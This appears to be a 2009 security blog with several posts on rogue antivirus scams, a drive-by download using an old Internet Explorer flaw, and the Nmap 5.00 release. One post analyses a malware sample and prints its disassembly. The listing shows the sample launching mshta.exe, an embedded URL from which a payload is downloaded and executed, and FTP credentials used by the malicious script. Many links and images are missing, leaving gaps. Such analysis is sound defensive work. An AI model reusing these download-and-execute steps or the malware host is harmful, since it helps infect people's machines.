Thursday, July 30, 2009

Rogue AV: Antivirus Plus

Here's another Rogue AV using the same animated system scan on the internet browser as the one in a previous post


In some instances, Antivirus Plus uses this animated scan instead:


It also uses one of those warnings that look oh so genuinely sincere:


Then of course downloading and installing the rogue app give us the usual scan results:


Here's a list of domains currently serving this rogue app:



Because of the same animated system scan that they use, I reckon System Security and Antivirus Plus are two related rogue apps.

Wednesday, July 29, 2009

Digital clutter

In relation to a previous post, visting the malicious domain


leads us into downloading


This malware in turn runs the Microsoft HTML Application host (mshta.exe) to execute hxxp://

00400256 >/$ 6A 00 PUSH 0 ; /IsShown = 0
00400258 |. 6A 00 PUSH 0 ; |DefDir = NULL
0040025A |. 68 39024000 PUSH setup.00400239 ; |Parameters = ""
0040025F |. 68 2F024000 PUSH setup.0040022F ; |FileName = "mshta.exe"
00400264 |. 6A 00 PUSH 0 ; |Operation = NULL
00400266 |. 6A 00 PUSH 0 ; |hWnd = NULL
00400268 |. E8 81010000 CALL ; \ShellExecuteA

The url hxxp:// gives us a page with an obfuscated javascript:


Which translates to:


The script basically creates and executes files in an attempt to download and install more malware on the affected machine. In the process, it creates a ftp connection to with the following cretentials:

username: qqq
password: 123456


It also creates a batch file that creates numerous Scheduled Tasks that run mshta.exe to execute hxxp:// which basically does the same thing as the above script.


hxxp:// is then downloaded and executed as %Temp%\675.exe. The download link, however, is no longer active.

004002CD . 68 90000000 PUSH 90
004002D2 . 891C24 MOV DWORD PTR SS:[ESP],EBX
004002D5 . 68 90000000 PUSH 90
004002DA . C70424 0401000>MOV DWORD PTR SS:[ESP],104
004002E1 . 68 D0034000 PUSH
004002E6 . 58 POP EAX
004002E7 . E8 00000000 CALL setup.004002EC
004002EC $ 830424 06 ADD DWORD PTR SS:[ESP],6
004002F0 . FFE0 JMP EAX ;
004002F2 E8 DB E8
004002F3 01 DB 01
004002F4 00 DB 00
004002F5 00 DB 00
004002F6 . 0008 ADD BYTE PTR DS:[EAX],CL
004002F8 . 5D POP EBP
004002F9 . 33C9 XOR ECX,ECX
004002FB . 8A4D 00 MOV CL,BYTE PTR SS:[EBP]
00400300 . 03F8 ADD EDI,EAX
00400302 . BE 08024000 MOV ESI,setup.00400208 ; ASCII "675.exe"
00400309 . 51 PUSH ECX
0040030A . 51 PUSH ECX
0040030B . 53 PUSH EBX
0040030C . E8 23000000 CALL setup.00400334
00400311 . 68 74 74 70 3A>ASCII "http://"
00400318 . 31 32 2D 32 30>ASCII "12-2005-search.c"
00400328 . 6F 6D 2F 63 6F>ASCII "om/cool.exe",0
00400334 $ 51 PUSH ECX
00400335 . 68 E2034000 PUSH
0040033A . 58 POP EAX
0040033B . E8 00000000 CALL setup.00400340
00400340 $ 830424 06 ADD DWORD PTR SS:[ESP],6
00400344 . FFE0 JMP EAX
00400346 . 51 PUSH ECX
00400347 . 53 PUSH EBX
00400348 . 68 DC034000 PUSH
0040034D . 58 POP EAX
0040034E . E8 00000000 CALL setup.00400353
00400353 $ 830424 06 ADD DWORD PTR SS:[ESP],6
00400357 . FFE0 JMP EAX

The malware uses random filenames as we can see from the filenames used in the embedded script above. These are possibly ramdonly-generated by the PHP code behind it.

In effect, the malware creates heaps of batch files, text files, blank .exe files (unavailable download), and .job files on the affected system. Talk about heavy digital clutter!

Tuesday, July 28, 2009

Malicious domain uses old IE Vulnerability to download and installmalware

Visting the malicious url:


gives us a blank page at plain sight.


However, upon careful inspection we are presented with the following:


Which translates to the following shellcode:


Analyzing the shellcode basically leads us to the malware downloading


which is saved and executed as:

c:\ 0xf9.exe

Microsoft already released a patch to resolve this vulnerability MS08-078

Saturday, July 25, 2009

Heaps of threats found on my C: and D: drives! Oh wait, I'm not runningWindows

I have recently been working on Rogue AVs and there's one that made me chuckle.

Rogue website: zocleaner(dot)com

zocleaner scan

Visiting the rogue website warned me that my computer is infected and then it started scanning my computer as shown above. The image above was being displayed on my browser and was telling me that it had found heaps of threats already!

Clearly the rogue site was trying to fool me into thinking that my computer is infected. Duh! I wasn't even running Windows!

Downloading and installing the rogue application on a test machine gave me the usual outrageous scan results:

System Security

I advise everyone to be vigilant. People behind these rogue apps are out there to rip us off.

Monday, July 20, 2009

Nmap 5.00 Released

What better way to launch this blog than with the recent release of a new version of Network Mapper: click here